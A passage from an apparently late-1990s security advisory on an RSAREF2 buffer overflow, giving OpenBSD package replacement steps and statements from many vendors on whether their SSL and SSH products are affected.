# pkg_info | grep ssl
If you are using ssl26.tar.gz, you are are NOT AFFECTED. (This
crypto problem only burns Americans!) If you are using
sslUSA26.tar.gz, you want the replacement libraries:
1) Get the correct file for your architecture:
ftp://ftp.usa.openbsd.org/pub/OpenBSD/2.6/i386/sslUSA26.tar.gz
ftp://ftp.usa.openbsd.org/pub/OpenBSD/2.6/sparc/sslUSA26.tar.gz
ftp://ftp.usa.openbsd.org/pub/OpenBSD/2.6/hp300/sslUSA26.tar.gz
ftp://ftp.usa.openbsd.org/pub/OpenBSD/2.6/mvme68k/sslUSA26.tar.gz
ftp://ftp.usa.openbsd.org/pub/OpenBSD/2.6/mac68k/sslUSA26.tar.gz
ftp://ftp.usa.openbsd.org/pub/OpenBSD/2.6/amiga/sslUSA26.tar.gz
2) Install it by doing:
# pkg_delete sslUSA26
# pkg_add -v sslUSA26.tar.gz
Then restart any affected daemons. For others, see below.
Compaq Computer Corporation
===========================
Compaq's Tru64 UNIX is not vulnerable. Compaq does not ship ssl.
Covalent Technologies
=====================
The Raven SSL module is not vulnerable to this attack since the
SSL library used does not use the RSAREF library.
Data Fellows Inc.
=================
F-Secure SSH versions prior 1.3.7 are vulnerable but F-Secure
SSH 2.x and above are not.
FreeBSD
=======
FreeBSD 3.3R and prior releases contain packages with this
problem. This problem was corrected December 2, 1999 in the
ports tree. Packages built after this date with the rsaref
updated should be unaffected by this vulnerabilities. Some or
all of the following ports may be affected should be rebuilt:
p5-Penguin, p5-Penguin-Easy, jp-pgp, ja-w3m-ssl, ko-pgp,
pgpsendmail, pine4-ssl, premail, ParMetis, SSLtelnet, mpich,
pipsecd, tund, nntpcache, p5-Gateway, p5-News-Article, ru-pgp,
bjorb, keynote, OpenSSH, openssl, p5-PGP, p5-PGP-Sign, pgp,
slush, ssh, sslproxy, stunnel, apache+mod_ssl, apache+ssl,
lynx-ssl, w3m-ssl, zope
Please see the FreeBSD Handbook for information on how to obtain
a current copy of the ports tree and how to rebuild those ports
which depend on rsaref.
Hewlett-Packard Company
=======================
HP does not supply SSH. HP has not conducted compatibility
testing with version 1.2.27 of SSH, when compiled with the
option --with-rsaref. Further, RSAREF2 has not been tested to
date. As far as the investigation to date, HP appears to be not
vulnerable.
IBM Corporation
===============
IBM AIX does not currently ship the secure shell (ssh) nor do
the base components of AIX ship or link with the RSAREF2
library.
Microsoft
=========
The Microsoft Security Response Team has investigated this
issue, and no Microsoft products are affected by the
vulnerability.
NetBSD
======
NetBSD does not ship with ssh in either its US-only or
International variants at this time, so no default installation
of NetBSD is vulnerable. However, ssh is installed and widely
used by many NetBSD installations, and is available from our
software package tree in source form. The NetBSD ssh package
can be compiled either with or without RSAREF2, settable by
the administrator at compile time according to local copyright
and license restrictions. Installations which used RSAREF2 in
compiling ssh are vulnerable, and we recommend recompiling
without RSAREF2 if their local legal situation permits. In
addition, the following list of software packages in the NetBSD
"packages" system are also dependent on the RSAREF2 library:
* archivers/hpack
* security/openssl
* security/pgp2
* security/pgp5
* www/ap-ssl
of those, the security/openssl package is itself a library, and
the following packages depend on it:
* net/ppp-mppe
* net/speakfreely-crypto
* www/ap-ssl
Network Associates, Inc.
========================
After a technical review of the buffer overflow bug in RSAREF,
we have determined at Network Associates that PGP is not
affected by this bug, because of the careful way that PGP uses
RSAREF. This applies to all versions of PGP ever released by
MIT, which are the only versions of PGP that use RSAREF. All
other versions of PGP, such as the commercial versions and the
international versions, avoid the use of RSAREF entirely.
RSA Security Inc.
=================
RSA Security Inc. recommends that developers implement the
proposed or similar patch to RSAREF version 2.0 or otherwise to
ensure that the length in bits of the modulus supplied to
RSAREF is less than or equal to MAX_RSA_MODULUS_BITS.
SSH Communications
==================
The bug only affects ssh when it is compiled with RSAREF (i.e.,
only when --with-rsaref is explicitly supplied on the command
line). Any version compiled without --with-rsaref is not
affected. The problem should not affect users of the commercial
versions (who are licensed to use the built-in RSA) or users
outside the United States (who are presumably not using RSAREF
and can use the built-in RSA without needing a license). I.e.,
only those non-commercial users who actually compile with a
separately obtained RSAREF should be affected. The bug is
present in all versions of SSH1, up to and including 1.2.27. It
will be fixed in ssh-1-2.28 (expected to go out in a few days
to fix this problem). It does not affect SSH2. (Please note
that ssh1 is no longer maintained, except for security fixes,
due to certain rather fundamental problems that have been fixed
in ssh2.) Any implementation compiled without an explicitly
specified --with-rsaref is not affected by this problem.
Stronghold
==========
Stronghold does not use RSAREF and is unaffected.